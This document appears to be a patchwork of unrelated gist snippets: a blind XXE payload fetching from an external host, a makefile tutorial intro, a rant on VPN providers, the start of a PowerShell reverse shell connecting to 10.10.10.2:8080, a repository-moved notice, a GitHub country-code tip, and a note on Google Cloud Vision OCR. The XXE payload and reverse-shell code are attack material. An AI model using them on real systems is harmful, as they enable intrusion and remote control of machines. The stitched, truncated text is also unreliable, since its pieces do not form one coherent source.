git init
or
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Vanilla, used to verify outbound xxe or blind xxe | |
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<?xml version="1.0" ?> | |
<!DOCTYPE r [ | |
<!ELEMENT r ANY > | |
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt"> | |
]> | |
<r>&sp;</r> |
# Hello, and welcome to makefile basics. | |
# | |
# You will learn why `make` is so great, and why, despite its "weird" syntax, | |
# it is actually a highly expressive, efficient, and powerful way to build | |
# programs. | |
# | |
# Once you're done here, go to | |
# http://www.gnu.org/software/make/manual/make.html | |
# to learn SOOOO much more. |
Short version: I strongly do not recommend using any of these providers. You are, of course, free to use whatever you like. My TL;DR advice: Roll your own and use Algo or Streisand. For messaging & voice, use Signal. For increased anonymity, use Tor for desktop (though recognize that doing so may actually put you at greater risk), and Onion Browser for mobile.
This mini-rant came on the heels of an interesting twitter discussion: https://twitter.com/kennwhite/status/591074055018582016
$socket = new-object System.Net.Sockets.TcpClient('10.10.10.2', 8080); | |
if($socket -eq $null){exit 1} | |
$stream = $socket.GetStream(); | |
$writer = new-object System.IO.StreamWriter($stream); | |
$buffer = new-object System.Byte[] 1024; | |
$encoding = new-object System.Text.AsciiEncoding; | |
do{ | |
$writer.Write("> "); | |
$writer.Flush(); | |
$read = $null; |
Moved to a proprer repositoy, TSWS is a real boy now! | |
https://github.com/dfletcher/tsws | |
PRs welcomed. |
The Github doesn't provide country code for Brazil (+55). To add this option, just run the code below in your console. The option Brazil +55
will be the first on the list, already selected:
🇧🇷 [pt-BR]
Picking the right architecture = Picking the right battles + Managing trade-offs
Just a quickie test in Python 3 (using Requests) to see if Google Cloud Vision can be used to effectively OCR a scanned data table and preserve its structure, in the way that products such as ABBYY FineReader can OCR an image and provide Excel-ready output.
The short answer: No. While Cloud Vision provides bounding polygon coordinates in its output, it doesn't provide it at the word or region level, which would be needed to then calculate the data delimiters.
On the other hand, the OCR quality is pretty good, if you just need to identify text anywhere in an image, without regards to its physical coordinates. I've included two examples:
####### 1. A low-resolution photo of road signs